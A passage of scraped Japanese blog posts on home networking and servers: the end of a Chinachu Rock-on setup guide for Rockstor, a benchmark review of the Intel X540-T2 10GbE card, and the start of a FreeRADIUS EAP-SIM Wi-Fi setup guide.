Chinachu](https://github.com/Chinachu/docker-mirakurun-chinachu)\n\n## PT3 DVBドライバ\nみなが苦労するPT3のドライバの導入作業あれこれに終止符を打つかのように、Linuxカーネルが標準でPT3のドライバを搭載してきました。\nDVB(Digital Video Broadcasting)ドライバと呼ばれるそれは、チューナーからの信号をスペシャルファイル経由で簡易に取り出せる機能を\nもったもので、このドライバが有効化されているディストリビューションでは先述のようなPT3ドライバの導入に苦戦しなくても放送波を取得\nできるようになっているのです。なんとこのドライバ、**Rockstorでは標準で有効**になっており、PT3をマシンに搭載するだけで動作するのです!\n\n## Chinachu Rock-on\nセクションタイトルを見て気づいている人も多いと思いますが、これまでに挙げた3つの事柄が組み合わさって、数行のコマンド入力とクリックだけで動作させられるChinachu rock-onが出来上がってしまいます。\n\n1. 新しいRock-onは実は自由に追加できる\n2. ChinachuのDockerイメージがある\n3. PT3のドライバは導入済み\n\nこれらをいい感じにまとめてRock-onを作成しました。\n\n[**mzyy94/Chinachu-rockon**](https://github.com/mzyy94/Chinachu-rockon)\n\nRock-onはJSONで書かれたRock-onファイルの記述形式に沿った形で自作することで、新たなRock-onを作り上げることができるようになっています。\n- Ref. https://github.com/rockstor/rockon-registry\n\nここのREADMEにあるように、決まった形で書くことでポートの転送や共有ディレクトリの設定、\nDocker hubのイメージ取得を自動化し、アプリケーションを実行できます。\n\nChinachuのDockerfileがあるので、これをDVB版のPT3ドライバで動作するように書き換え、かつRock-onのファイル共有方法に適した方法で設定ファイルなどを管理できるように変更してDocker hubにプッシュしてRock-onを完成させました。\n\n\n## Chinachu Rock-on のインストール\n\n大前提として、RockstorをインストールしたマシンにPT3とSmartCardリーダーが接続されていることとして話を進めます。\n\n\n冒頭でも述べたように、標準でリストアップされているRock-onであればボタン一つで起動できますが、リストアップされていないものに関してはコマンド入力が必要となります。\nこの点において、Rock-onsは超お手軽と手放しで喜べない部分ではありますが、普通にChinachuをセットアップするよりは数倍は楽になっていると思うので我慢してください。\nChinachu-rockonのリポジトリのREADMEにも書いてありますが、必要な作業は\n\n1. chinachu.jsonをダウンロード\n2. rock-ons metastoreディレクトリを作成\n3. Rockstorにchinachu.jsonを転送\n4. Rock-onサービスが起動してなかったら起動する\n5. Rock-onsのUpdateをする\n6. Chinachuとチューナ管理アプリケーションのMirakurunの設定場所と録画の保存先の共有ディレクトリを作成する\n7. Chinachu Rock-onを起動する\n\nとなっています。\nchinachu.jsonは[こちら](https://github.com/mzyy94/Chinachu-rockon/releases)にあるので適当にダウンロードしてもらって、\nダウンロードしたディレクトリで以下のコマンドを実行するとステップ3まで終了します。\nyour-rockstor-ipはRockstorに割り当てられたIPアドレスに変更して、\nパスワードを求められたらRockstorのrootパスワードを入力して実行してください。\n\n```\nssh root@your-rockstor-ip mkdir /opt/rockstor/rockons-metastore\nscp chinachu.json root@your-rockstor-ip:/opt/rockstor/rockons-metastore\n```\n\nそしてRock-onsのサービスが起動してなかったら起動し、その後Updateボタンを押すと、Chinachuがリストアップされてきます。\n\n\n\nRock-onsの一覧にChinachuが現れてもあわててインストールせずに、\nChinachuとMirakurunの設定ファイルと録画を保存する共有ディレクトリを作成します。\nここで重要なのは、Chinachu関連のディレクトリとMirakurun関連のディレクトリは必ず別の共有ディレクトリを作成する必要があるというところです。\nChinachuのデータとMirakurunのデータが衝突してうまく動作しなくなります。\n逆を言えば、Chinachuの設定とデータは同じディレクトリにしてもいいですし、Mirakurunの設定とデータベースも同じディレクトリにしてOKです。\nまた、録画ファイル保存ディレクトリは大容量必要ですが、それ以外は1GBもあれば十分でしょう。\n\n\n\n共有ディレクトリの作成が済んだらChinachuのインストールをしましょう。\nインストールといっても設定する項目はほとんどなく、設定する必要のあるのは以下の5つの共有ディレクトリの指定だけです。\n\n- **[Chinachu Config Storage]** Chinachuの設定ファイル保存ディレクトリ\n- **[Chinachu Data Storag]** Chinachuのデータ保存ディレクトリ\n- **[Mirakurun Config Storage]** Mirakurunの設定ファイル保存ディレクトリ\n- **[Mirakurun Database Storage]** Mirakurunのデータベース保存ディレクトリ\n- **[Recording Storage]** 録画ファイル保存ディレクトリ\n\nそれぞれ先ほど作成した共有ディレクトリを指定し、ポート番号の設定はデフォルトのままでステップを進めていき、インストールは完了です。\n\n\n\n\n\nチャンネル設定などが適当なのでChinachuとMirakurunの設定ファイルを保存した共有ディレクトリにあるchannels.ymlやconfig.jsonを編集してChinachuを再起動させて完成です。\n録画ファイル保存ディレクトリをAFPで共有したり、各々のChinachuライフを快適にお過ごしください。\n"]}],[0,{"slug":[0,"2016/07/06/hello-10gbe-nic/"],"data":[0,{"title":[0,"1万円台の格安Intel X540-T2 10GbEを買ってみた"],"date":[3,"2016-07-05T18:24:50.000Z"],"image":[0,"/assets/images/2016/07/06/card-face.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"10gbe"],[0,"nic"],[0,"x540-t2"]]]}],"content":[0,"\n\n事の発端はこちらのツイート\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">Amazonに出品されてる激安X540-T2(19000円)って本物なの、大丈夫なの</p>&mdash; ゆずはら (@yuzuhara) <a href=\"https://twitter.com/yuzuhara/status/749804710530392065\">2016年7月4日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">同じこと思っててまだ買えずにいる <a href=\"https://t.co/424csKrtVR\">https://t.co/424csKrtVR</a></p>&mdash; ハイスクール・フリートが生きがい (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/749821436919885824\">2016年7月4日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\nこの低価格NICはずっと気になっていて、ほしいものリストにもずっと突っ込んでありました。\n\n\n突っ込んだ当時の価格からずいぶんと安くなり、2016/07/04時点で2万円を切っていたので、以下のような煽りも受けたついでに2枚買ってみました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">買って確かめてくれよ(懇願 <a href=\"https://t.co/bWfXoO153O\">https://t.co/bWfXoO153O</a></p>&mdash; ゆずはら (@yuzuhara) <a href=\"https://twitter.com/yuzuhara/status/749824378876022784\">2016年7月4日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n買って挙動を確かめてみたレポートです。\n\n[Amazon.co.jp: intel X540-T2: パソコン・周辺機器](https://www.amazon.co.jp/intel-X540T2-X540-T2/dp/B0077CS9UM/ref=sr_1_1?ie=UTF8&qid=1467713812&sr=8-1&tag=mzyy-22)\n\n## 目次\n\n\n## Intel X540-T2\n\n\n\n[Intel® Ethernet Converged Network Adapter X540-T2 仕様](http://ark.intel.com/ja/products/58954/Intel-Ethernet-Converged-Network-Adapter-X540-T2)\n\n一般のご家庭向けのデュアルポート10GbE NICです。\nark intelの希望カスタマー価格を見ると*$508.00 - $513.00*とあるように、執筆時の為替レートで考えても5万円は下らない代物です。\n2012年発売から時が立っており、今年のQ1に後継となるX550-T2が発売されていることを考えると、価格が下がるのは納得ですが、\nコンシューマー向けではない機器であるためそこまで値下がりは期待できないと思われていました。\n\nそれがついに1万円台で買えるとあって、これから一般のご家庭に急速に広まっていくNICの一つになることは間違いなしです。\n\n[Amazon.co.jp: intel X540-T2: パソコン・周辺機器](https://www.amazon.co.jp/intel-X540T2-X540-T2/dp/B0077CS9UM/ref=sr_1_1?ie=UTF8&qid=1467713812&sr=8-1&tag=mzyy-22)\n\n## 購入&到着\n\n購入を煽られてクレジットカードの締日を確認し、ポイント還元率の計算と締日が遠いカードの認証情報の登録を行って1時間ほど立ったあとにアマゾンポチw!\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">買いました <a href=\"https://t.co/QauGkl8eQw\">https://t.co/QauGkl8eQw</a></p>&mdash; ハイスクール・フリートが生きがい (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/749832787960602624\">2016年7月4日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n14時頃に発注して翌日12時頃に到着しました。さすがAmazonプライムお急ぎ便ですね。\n[Amazonプライムの入会はこちら](https://www.amazon.co.jp/tryprimefree?tag=mzyy-22)\n\n\n\nTwitterでは「この安さ、偽物じゃないか?」と噂されていましたが、Intelロゴはちゃんとしたものでした。\n\n\n\n[Amazon.co.jp: intel X540-T2: パソコン・周辺機器](https://www.amazon.co.jp/intel-X540T2-X540-T2/dp/B0077CS9UM/ref=sr_1_1?ie=UTF8&qid=1467713812&sr=8-1&tag=mzyy-22)\n\n## セットアップ\n\n### 環境\n\n以下の、A及びBの2台のマシンに導入しました。\n\nA: 仮想マシン動かしてるやつ\n\n| パーツ | 種類\n|:------|:----\n| CPU | Intel Xeon E3-1245v3 3.4GHz\n| Memory | ECC DDR3-1600 16GB (8GB x 2)\n| PCIe | PCI Express 3.0\n| OS | ProxMox 4.2 (Debian Jessie 8.2)\n| バージョン | 4.4.6-1-pve\n\nB: NAS\n\n| パーツ | 種類\n|:------|:----\n| CPU | Intel Core i5-2405S 2.5GHz\n| Memory | DDR3-1600 16GB (8GB x 2)\n| PCIe | PCI Express 2.0\n| OS | Rockstor 3.8-14 (CentOS 7.2)\n| バージョン | 4.6.0-1.el7.elrepo.x86_64\n\n#### NOTE: PCI Express 2.0とPCI Express 2.1の違いについて\n\nX540-T2はPCI Express 2.1以上の拡張カードスロットに対応しているため、Bの構成は非対応となっています。\nマイナーバージョンアップ程度の変更ですが、3.0に盛り込む予定であった多くの機能をIntelが打診して無理やり2.1として出させたこともあって*[要出典]*、\n数少ないPCI Express 2.1インターフェースを要求するこのNICもその追加機能を多く使っていると考えられます。\n\n出典?:[【イベントレポート】【PCI-SIG Developers Conference 2010レポート】 PCIe Specificationの詳細 - PC Watch](http://pc.watch.impress.co.jp/docs/news/event/380216.html)\n\nただ、PCI Expressには下位互換性がサポートされているため、最高のパフォーマンスは出せないにしろ、動作すると予想されるため、Bの構成でも利用してみます。\n\n### 接続\n\nX540-T2と同時購入した*[こたつみたいなCAT7 LANケーブル](https://www.amazon.co.jp/gp/product/B00ID1S8ZW/ref=oh_aui_detailpage_o00_s00?ie=UTF8&tag=mzyy-22)*をそれぞれのポートに接続してこんな感じでつなげてみました。\n\n\n\n[Amazon.co.jp: intel X540-T2: パソコン・周辺機器](https://www.amazon.co.jp/intel-X540T2-X540-T2/dp/B0077CS9UM/ref=sr_1_1?ie=UTF8&qid=1467713812&sr=8-1&tag=mzyy-22)\n\n### 認識\n\nとりあえずカーネルで標準で読み込まれてたドライバで認識しました。\n\n```\n[root@rockstor ~]# lspci -d 8086: | grep Ethernet\n01:00.0 Ethernet controller: Intel Corporation Ethernet Controller 10-Gigabit X540-AT2 (rev 01)\n01:00.1 Ethernet controller: Intel Corporation Ethernet Controller 10-Gigabit X540-AT2 (rev 01)\n[root@rockstor ~]#\n```\n\n\n```\n[root@rockstor ~]# lspci -k -s 01:00\n01:00.0 Ethernet controller: Intel Corporation Ethernet Controller 10-Gigabit X540-AT2 (rev 01)\n Subsystem: Intel Corporation Ethernet Converged Network Adapter X540-T2\n Kernel driver in use: ixgbe\n01:00.1 Ethernet controller: Intel Corporation Ethernet Controller 10-Gigabit X540-AT2 (rev 01)\n Subsystem: Intel Corporation Ethernet Converged Network Adapter X540-T2\n Kernel driver in use: ixgbe\n[root@rockstor ~]#\n```\n\n```\n[root@rockstor ~]# modinfo ixgbe | head -6\nfilename: /lib/modules/4.6.0-1.el7.elrepo.x86_64/kernel/drivers/net/ethernet/intel/ixgbe/ixgbe.ko\nversion: 4.2.1-k\nlicense: GPL\ndescription: Intel(R) 10 Gigabit PCI Express Network Driver\nauthor: Intel Corporation, <linux.nics@intel.com>\nsrcversion: E252348AB8BA33BA57DD40B\n[root@rockstor ~]#\n```\n\n```\nroot@pve:~# modinfo ixgbe | head -6\nfilename: /lib/modules/4.4.6-1-pve/kernel/drivers/net/ethernet/intel/ixgbe/ixgbe.ko\nversion: 4.3.15\nlicense: GPL\ndescription: Intel(R) 10 Gigabit PCI Express Network Driver\nauthor: Intel Corporation, <linux.nics@intel.com>\nsrcversion: 7AED484083B2C5B86424A3A\nroot@pve:~#\n```\n\nRockstor(CentOS 7.2)ではバージョン4.2.1、ProxMox(Debian 8.2)ではバージョン4.3.15のようですね\n\n\n#### ドライバ導入\n\nそのままで認識してくれましたが、せっかくなので最新のドライバを導入します。\n執筆時点の最新のドライバは4.3.15なので、ProxMoxは最新版が搭載されているようです。\nRockstorのドライバをアップデートするため、\nIntelから最新のドライバを拾ってきて、`tar xf && make && make install`するだけの簡単なお仕事でした。\n\n[Download Network Adapter Driver for PCI-E* Intel® 10 Gigabit Ethernet Network Connections under Linux*](https://downloadcenter.intel.com/download/14687/PCI-E-10-Linux-)\n\n\n## 検証\n\nこんなに安くてはたしてしっかり動くのか、そこが問題です。\n\n### 検証環境\n\n構成は前章のセットアップの節に同じ。\nAの仮想マシン動かしてるやつをクライアント、BのNASをサーバとします。\nIPアドレスは、Aを172.28.0.2/24、Bを172.28.0.3/24として設定します。\n\n### 検証内容\n\n#### 単線通信速度測定\n\niperf3を使って片方のポートに接続したLANケーブルで通信してTCPによる転送速度を測定します。\n5回測定して偏りがなければ、3回目の結果を例としてあげます。\n\n#### リンクアグリゲーション通信速度測定\n\nデュアルポートを束ねてリンクアグリゲーションし、論理20Gbpsを構成してiperf3で通信速度を測定します。\nリンクアグリゲーションの構成方法はクライアント・サーバともに同じとし、クライアント側での設定例を以下に示します。\n\n```\nroot@pve:~# modprobe bonding\nroot@pve:~# ip addr add 172.28.0.3/24 brd + dev bond0\nroot@pve:~# ip link set dev bond0 up\nroot@pve:~# ifenslave bond0 eth2 eth3\n```\n\n5回測定して偏りがなければ、3回目の結果を例としてあげます。\n\n#### 消費電力\n\nAのXeonマシンにおいて、以下の4状態を10秒間ワットチェッカーで測定した結果の平均値を求めます。\n\n- X540-T2未搭載でのアイドル時消費電力\n- X540-T2搭載した状態でのアイドル時消費電力\n- X540-T2搭載した状態でiperf3単線通信速度測定時の消費電力\n- X540-T2搭載した状態でiperf3リンクアグリゲーション通信速度測定時の消費電力\n\n### 結果\n\n\n#### 単線通信速度測定\niperf3で5回計測した結果、偏りは生じませんでした。\n平均的な数値としては、単線では帯域幅が**9.38Gbps**出るといった結果となりました。\n以下に、3回目の結果を示します。\n\n\n##### クライアント側\n\n```\nroot@pve:~# iperf3 -c 172.28.0.2 0B 172.28.0.3\nConnecting to host 172.28.0.2, port 5201\n[ 4] local 172.28.0.3 port 59914 connected to 172.28.0.2 port 5201\n[ ID] Interval Transfer Bandwidth Retr Cwnd\n[ 4] 0.00-1.00 sec 1.10 GBytes 9.41 Gbits/sec 10 624 KBytes\n[ 4] 1.00-2.00 sec 1.09 GBytes 9.40 Gbits/sec 0 672 KBytes\n[ 4] 2.00-3.00 sec 1.09 GBytes 9.40 Gbits/sec 0 676 KBytes\n[ 4] 3.00-4.00 sec 1.09 GBytes 9.36 Gbits/sec 0 687 KBytes\n[ 4] 4.00-5.00 sec 1.09 GBytes 9.41 Gbits/sec 0 694 KBytes\n[ 4] 5.00-6.00 sec 1.09 GBytes 9.41 Gbits/sec 7 615 KBytes\n[ 4] 6.00-7.00 sec 1.08 GBytes 9.31 Gbits/sec 11 609 KBytes\n[ 4] 7.00-8.00 sec 1.06 GBytes 9.11 Gbits/sec 0 755 KBytes\n[ 4] 8.00-9.00 sec 1.04 GBytes 8.95 Gbits/sec 0 860 KBytes\n[ 4] 9.00-10.00 sec 1.05 GBytes 9.01 Gbits/sec 0 887 KBytes\n- - - - - - - - - - - - - - - - - - - - - - - - -\n[ ID] Interval Transfer Bandwidth Retr\n[ 4] 0.00-10.00 sec 10.8 GBytes 9.28 Gbits/sec 28 sender\n[ 4] 0.00-10.00 sec 10.8 GBytes 9.27 Gbits/sec receiver\n\niperf Done.\n```\n\n##### サーバ側\n```\n[root@rockstor ~]# iperf3 -s -B 172.28.0.2\n-----------------------------------------------------------\nServer listening on 5201\n-----------------------------------------------------------\nAccepted connection from 172.28.0.3, port 59912\n[ 5] local 172.28.0.2 port 5201 connected to 172.28.0.3 port 59914\n[ ID] Interval Transfer Bandwidth\n[ 5] 0.00-1.00 sec 1.05 GBytes 9.03 Gbits/sec\n[ 5] 1.00-2.00 sec 1.09 GBytes 9.39 Gbits/sec\n[ 5] 2.00-3.00 sec 1.09 GBytes 9.40 Gbits/sec\n[ 5] 3.00-4.00 sec 1.09 GBytes 9.36 Gbits/sec\n[ 5] 4.00-5.00 sec 1.10 GBytes 9.41 Gbits/sec\n[ 5] 5.00-6.00 sec 1.09 GBytes 9.40 Gbits/sec\n[ 5] 6.00-7.00 sec 1.09 GBytes 9.34 Gbits/sec\n[ 5] 7.00-8.00 sec 1.06 GBytes 9.11 Gbits/sec\n[ 5] 8.00-9.00 sec 1.04 GBytes 8.93 Gbits/sec\n[ 5] 9.00-10.00 sec 1.05 GBytes 9.00 Gbits/sec\n[ 5] 10.00-10.04 sec 43.1 MBytes 9.41 Gbits/sec\n- - - - - - - - - - - - - - - - - - - - - - - - -\n[ ID] Interval Transfer Bandwidth\n[ 5] 0.00-10.04 sec 0.00 Bytes 0.00 bits/sec sender\n[ 5] 0.00-10.04 sec 10.8 GBytes 9.24 Gbits/sec receiver\n```\n\n#### リンクアグリゲーション通信速度測定\niperf3で5回計測した結果、偏りは生じませんでした。\n平均的な数値としては、リンクアグリゲーションでは帯域幅が**14.4Gbps**出るといった結果となりました。\n以下に、3回目の結果を示します。\n\n##### クライアント側\n\n```\nroot@pve:~# iperf3 -c 172.28.0.2 -B 172.28.0.3\nConnecting to host 172.28.0.2, port 5201\n[ 4] local 172.28.0.3 port 54549 connected to 172.28.0.2 port 5201\n[ ID] Interval Transfer Bandwidth Retr Cwnd\n[ 4] 0.00-1.00 sec 1.67 GBytes 14.3 Gbits/sec 9 677 KBytes\n[ 4] 1.00-2.00 sec 1.68 GBytes 14.5 Gbits/sec 0 682 KBytes\n[ 4] 2.00-3.00 sec 1.69 GBytes 14.5 Gbits/sec 165 684 KBytes\n[ 4] 3.00-4.00 sec 1.72 GBytes 14.8 Gbits/sec 2 773 KBytes\n[ 4] 4.00-5.00 sec 1.66 GBytes 14.2 Gbits/sec 106 557 KBytes\n[ 4] 5.00-6.00 sec 1.62 GBytes 13.9 Gbits/sec 29 472 KBytes\n[ 4] 6.00-7.00 sec 1.68 GBytes 14.5 Gbits/sec 15 840 KBytes\n[ 4] 7.00-8.00 sec 1.63 GBytes 14.0 Gbits/sec 42 587 KBytes\n[ 4] 8.00-9.00 sec 1.66 GBytes 14.2 Gbits/sec 94 710 KBytes\n[ 4] 9.00-10.00 sec 1.62 GBytes 13.9 Gbits/sec 15 710 KBytes\n- - - - - - - - - - - - - - - - - - - - - - - - -\n[ ID] Interval Transfer Bandwidth Retr\n[ 4] 0.00-10.00 sec 16.6 GBytes 14.3 Gbits/sec 477 sender\n[ 4] 0.00-10.00 sec 16.6 GBytes 14.3 Gbits/sec receiver\n\niperf Done.\n```\n\n##### サーバ側\n```\n[root@rockstor ~]# iperf3 -s -B 172.28.0.2\n-----------------------------------------------------------\nServer listening on 5201\n-----------------------------------------------------------\nAccepted connection from 172.28.0.3, port 54615\n[ 5] local 172.28.0.2 port 5201 connected to 172.28.0.3 port 54549\n[ ID] Interval Transfer Bandwidth\n[ 5] 0.00-1.00 sec 1.60 GBytes 13.8 Gbits/sec\n[ 5] 1.00-2.00 sec 1.68 GBytes 14.4 Gbits/sec\n[ 5] 2.00-3.00 sec 1.69 GBytes 14.5 Gbits/sec\n[ 5] 3.00-4.00 sec 1.72 GBytes 14.8 Gbits/sec\n[ 5] 4.00-5.00 sec 1.66 GBytes 14.2 Gbits/sec\n[ 5] 5.00-6.00 sec 1.62 GBytes 13.9 Gbits/sec\n[ 5] 6.00-7.00 sec 1.67 GBytes 14.3 Gbits/sec\n[ 5] 7.00-8.00 sec 1.64 GBytes 14.1 Gbits/sec\n[ 5] 8.00-9.00 sec 1.66 GBytes 14.2 Gbits/sec\n[ 5] 9.00-10.00 sec 1.62 GBytes 13.9 Gbits/sec\n[ 5] 10.00-10.04 sec 62.2 MBytes 14.1 Gbits/sec\n- - - - - - - - - - - - - - - - - - - - - - - - -\n[ ID] Interval Transfer Bandwidth\n[ 5] 0.00-10.04 sec 0.00 Bytes 0.00 bits/sec sender\n[ 5] 0.00-10.04 sec 16.6 GBytes 14.2 Gbits/sec receiver\n```\n\n\n#### 消費電力\n\n4状態における消費電力は以下の通りとなりました。\n\n\n|状態|消費電力\n|:---|----:\n| 未搭載アイドル時| 38 W\n| 搭載済みアイドル時 | 51 W\n| 単線通信時 | 63 W \n| リンクアグリゲーション通信時 | 68 W\n\n\n## まとめ\nX540-T2は買いである。\n\n[Amazon.co.jp: intel X540-T2: パソコン・周辺機器](https://www.amazon.co.jp/intel-X540T2-X540-T2/dp/B0077CS9UM/ref=sr_1_1?ie=UTF8&qid=1467713812&sr=8-1&tag=mzyy-22)\n"]}],[0,{"slug":[0,"2016/10/09/home-eap-sim-wifi/"],"data":[0,{"title":[0,"一般のご家庭向けEAP-SIM認証Wi-Fi"],"date":[3,"2016-10-09T07:00:00.000Z"],"image":[0,"/assets/images/2016/10/09/slide1.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"eap-sim"],[0,"802.1x"],[0,"sim"]]],"redirect_from":[0,"/blog/2016/10/09/household-eap-sim-wifi/"]}],"content":[0,"\nご家庭のWi-Fi、まだパスワード認証ですか?\n\nこんにちは。陽炎型航洋直接教育艦 晴風の艦長、岬明乃です。\n昨日開催された[カーネル/VM探検隊](http://www.kernelvm.org/)で、晴風の艦内無線LANの構築をした話をしてきました。\n\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/BGDboydffkwEnw\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/subscriber-identity-module-66892458\" title=\"Subscriber Identity Module\" target=\"_blank\">Subscriber Identity Module</a> </strong> from <strong><a target=\"_blank\" href=\"//www.slideshare.net/mzyy94\">Yuki Mizuno</a></strong> </div>\n\n発表枠は手軽な20分だったこともあり、聞いていて飽きてしまうであろう詳細な構成方法などを省いたため、構築についての手順を書き記しておきます。\n\n## 目次\n\n\n## 実習期間中の艦内無線LAN事情\n\n晴風クラスに限らず、横須賀女子海洋学校の1年次の実習では30人前後の船員を乗せて航海に出ます。\n艦の仲間のネットワークアクセスを管理するため、艦内無線LANでは802.1XによるWPA2エンタープライズ認証を設けるのがルールとなっています。\n802.1X認証の方法は特に学校からの指定はなく、みんな好きなRADIUSサーバを建てて認証基盤を構築しています。\nこれも実習の一環というわけです。\n\n晴風では、FreeRADIUSを採用し、EAP-TLSでみんなのユーザ名とパスワードをセットして使ってもらうつもりでした。\nしかしです。このご時世、パスワードなる脆弱なものを利用するのは少数派なのです。\nそこで主計科の子たちと一緒に考えた末、EAP-SIMによるパスワードレス認証を導入することとなりました。\n\n## 晴風艦内EAP-SIM認証Wi-Fi構築\n\nさて、実際に構築した手順を説明していきます。\n\n### SIMカードの読み込み下準備\n\nここで必要になるハードウェアは、PC/SCカードリーダとICカードアダプタ、SIMカード変換アダプタです。\n\n\n<a href=\"https://www.amazon.co.jp/Gemalto-%E3%82%B8%E3%82%A7%E3%83%A0%E3%82%A2%E3%83%AB%E3%83%88-IC%E3%82%AB%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%80%E3%83%BB%E3%83%A9%E3%82%A4%E3%82%BF-%E5%AF%BE%E5%BF%9C%E4%BD%8F%E5%9F%BA%E3%82%AB%E3%83%BC%E3%83%89%E7%94%A8PC-HWP119316/dp/B003XF2JJY/ref=as_li_ss_il?s=computers&ie=UTF8&qid=1475987930&sr=1-2&keywords=gemalto+%E3%82%AB%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%80&linkCode=li3&tag=mzyy-22&linkId=9d64adcf0113625ebf4f506686687dc6\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B003XF2JJY&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n\n<a href=\"https://www.amazon.co.jp/gp/product/B00G1BJ5TY//ref=as_li_ss_il?&linkCode=li3&tag=mzyy-22&linkId=513e6f72dde319e4cdba6dc2aa22683a\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00G1BJ5TY&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n\n<a href=\"https://www.amazon.co.jp/Nano-MicroSIM-%E5%A4%89%E6%8F%9B%E3%82%A2%E3%83%80%E3%83%97%E3%82%BF-4%E7%82%B9%E3%82%BB%E3%83%83%E3%83%88-%E3%83%9B%E3%83%AF%E3%82%A4%E3%83%88/dp/B00PESJ072/ref=as_li_ss_il?s=electronics&ie=UTF8&qid=1475988345&sr=1-8&keywords=nanoSIM%E5%A4%89%E6%8F%9B%E3%82%A2%E3%83%80%E3%83%97%E3%82%BF%E3%83%BC&linkCode=li3&tag=mzyy-22&linkId=ffdb8e98f3f5b5db08bb78437cd00fc2\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00PESJ072&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n\n必要なソフトウェアは、\n\n- [PCSC Lite](https://pcsclite.alioth.debian.org/pcsclite.html)\n- [pyscard](https://github.com/LudovicRousseau/pyscard)\n- [pySIM](https://github.com/mzyy94/pysim)\n\nです。よしなにインストールしてくれればいいのですが、依存関係がごにょっとしてるのでDebianでのセットアップ例を挙げておきます。\n\n```\n$ sudo apt-get install pcscd pcsc-tools libccid libpcsclite-dev\n$ sudo apt-get install python python-setuptools python-serial python-dev swig git curl\n$ mkdir -p ~/.cache/\n$ cd ~/.cache/\n$ curl -O http://ludovic.rousseau.free.fr/softwares/pcsc-tools/smartcard_list.txt\n$ git clone https://github.com/LudovicRousseau/pyscard /tmp/pyscard\n$ cd /tmp/pyscard\n$ sudo python setup.py build_ext install\n$ git clone https://github.com/mzyy94/pysim ~/pysim && cd ~/pysim\n```\n\n\n### SIMへのアクセスの確認\nスライドで発表した通り、SIMにはいろいろな情報が詰まっています。\nICCIDやIMSIを確認してみたい場合は、pySIMの`pySim-read.py`を実行してみてください。情報がだばぁっとでてこれば成功です。\nこのとき、上記のGemaltoのICカードリーダを使っている場合は、`-p 0`オプションをつけることでリーダから読み込むことができます。\n\n\n\n### FreeRADIUSのEAP-SIM設定\n発表スライドでは、simtriplets.datに認証情報を書き込む方法を記しました。\nこの方法は、Debianで`apt-get install freeradius`で入るバージョンやFreeRADIUSの標準ビルド設定では無効化されています。\n晴風では多くの艦員のSIM認証情報を書き込むため、FreeRADIUSをソースからビルドしてsimtripletsの読み込みを有効化していました。\n\nしかし、ご家庭では30を超える認証情報を追加することはほとんどないだろうということで、一般的なFreeRADIUSのユーザ設定と同じ方法を紹介します。\n\n#### EAP-SIM有効化\n\nEAP-SIMは標準では無効化されているので、これを有効化します。\n有効化といっても大層なことはせず、設定ファイル`/etc/freeradius/eap.conf`に2行追加するだけですけどね。\n\n<script src=\"https://gist.github.com/mzyy94/589e1a1177036df883ae3e91ef0132de.js?file=eap.conf.patch\"></script>\n\n<!--\n```diff\ndiff --git a/eap.conf b/eap.conf\nindex 797130d..435f7e6 100644\n--- a/eap.conf\n+++ b/eap.conf\n@@ -15,6 +15,8 @@\n # See experimental.conf for documentation.\n #\n eap {\n+ sim {\n+ }\n # Invoke the default supported EAP type when\n # EAP-Identity response is received.\n #\n```\n-->\n\n有効化ついでに`/etc/freeradius/clients.conf`のsecretも変えておくとわかりやすくていいですね。\n\n<script src=\"https://gist.github.com/mzyy94/589e1a1177036df883ae3e91ef0132de.js?file=clients.conf.patch\"></script>\n\n<!--\n```diff\ndiff --git a/clients.conf b/clients.conf\nindex d5b1f74..036e053 100644\n--- a/clients.conf\n+++ b/clients.conf\n@@ -98,7 +98,7 @@ client localhost {\n # The default secret below is only for testing, and should\n # not be used in any real environment.\n #\n- secret = testing123\n+ secret = eap-sim\n\n #\n # Old-style clients do not send a Message-Authenticator\n```\n-->\n\n\n#### EAP-SIM認証情報の設定\n発表でも述べた通り、SIMの仕様書にあるコマンドを送ってチャレンジする認証情報を生成しなければいけません。\n加えて、得た情報をFreeRADIUSのusersファイルの書式にしたがって編集する必要があります。\nEAP-SIMのリクエストの仕様上、IMSIからHNIを推定してMCCとMNCを特定してユーザ名を作り上げるのは正直言って面倒です。\n\nなのでコマンド一発でusersファイルが作成できるツールを[https://github.com/mzyy94/pysim/](https://github.com/mzyy94/pysim/)に同梱してあります。\n`./pySim-gen-eapsim-user.py`をバシっと叩いて一瞬でusersファイルを作れます。\n\n\n```\n~/pysim$ ./pySim-gen-eapsim-user.py -p 0 | sudo tee -a /etc/freeradius/users\n# IMSI: 440103152044102\n# NTT DoCoMo Kansai Inc.\n1440103152044102@wlan.mnc010.mcc440.3gppnetwork.org 